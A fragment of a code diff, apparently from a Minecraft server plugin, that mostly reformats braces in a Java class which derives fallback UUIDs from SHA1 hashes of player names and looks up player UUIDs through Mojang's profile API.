TFM_Log.info("Generating spoof UUID for " + name);
try
{
try {
final MessageDigest digest = MessageDigest.getInstance("SHA1");
final byte[] result = digest.digest(name.getBytes());
final StringBuilder builder = new StringBuilder();
for (int i = 0; i < result.length; i++)
{
for (int i = 0; i < result.length; i++) {
builder.append(Integer.toString((result[i] & 0xff) + 0x100, 16).substring(1));
}
@ -222,36 +188,30 @@ public class TFM_UuidManager
+ "-" + builder.substring(12, 16)
+ "-" + builder.substring(16, 20)
+ "-" + builder.substring(20, 32));
}
catch (NoSuchAlgorithmException ex)
{
} catch (NoSuchAlgorithmException ex) {
TFM_Log.warning("Could not generate spoof UUID: SHA1 algorithm not found!");
}
return UUID.randomUUID();
}
public static class TFM_UuidResolver implements Callable<Map<String, UUID>>
{
public static class TFM_UuidResolver implements Callable<Map<String, UUID>> {
private static final double PROFILES_PER_REQUEST = 100;
private static final String PROFILE_URL = "https://api.mojang.com/profiles/minecraft";
private final JSONParser jsonParser = new JSONParser();
private final List<String> names;
public TFM_UuidResolver(List<String> names)
{
public TFM_UuidResolver(List<String> names) {
this.names = ImmutableList.copyOf(names);
}
@Override
public Map<String, UUID> call()
{
public Map<String, UUID> call() {
final Map<String, UUID> uuidMap = new HashMap<String, UUID>();
int requests = (int) Math.ceil(names.size() / PROFILES_PER_REQUEST);
for (int i = 0; i < requests; i++)
{
try
{
for (int i = 0; i < requests; i++) {
try {
final URL url = new URL(PROFILE_URL);
final HttpURLConnection connection = (HttpURLConnection) url.openConnection();
@ -270,8 +230,7 @@ public class TFM_UuidManager
final JSONArray array = (JSONArray) jsonParser.parse(new InputStreamReader(connection.getInputStream()));
for (Object profile : array)
{
for (Object profile : array) {
final JSONObject jsonProfile = (JSONObject) profile;
final String id = (String) jsonProfile.get("id");
final String name = (String) jsonProfile.get("name");
@ -284,13 +243,10 @@ public class TFM_UuidManager
uuidMap.put(name, uuid);
}
if (i != requests - 1)
{
if (i != requests - 1) {
Thread.sleep(100L);
}
}
catch (Exception ex)
{
} catch (Exception ex) {
TFM_Log.severe("Could not resolve UUID(s) of "
+ StringUtils.join(names.subList(i * 100, Math.min((i + 1) * 100, names.size())), ", "));
//TFM_Log.severe(ex);
@ -299,9 +255,9 @@ public class TFM_UuidManager
return uuidMap;
}
public static UUID getUUIDOf(String name)
{
public static UUID getUUIDOf(String name) {
return new TFM_UuidResolver(Arrays.asList(name)).call().get(name);
}
}
}

View File

@ -25,6 +25,7 @@ import org.bukkit.generator.BlockPopulator;
@SuppressWarnings("deprecation")
public class CleanroomBlockPopulator extends BlockPopulator
{
byte[] layerDataValues;
protected CleanroomBlockPopulator(byte[] layerDataValues)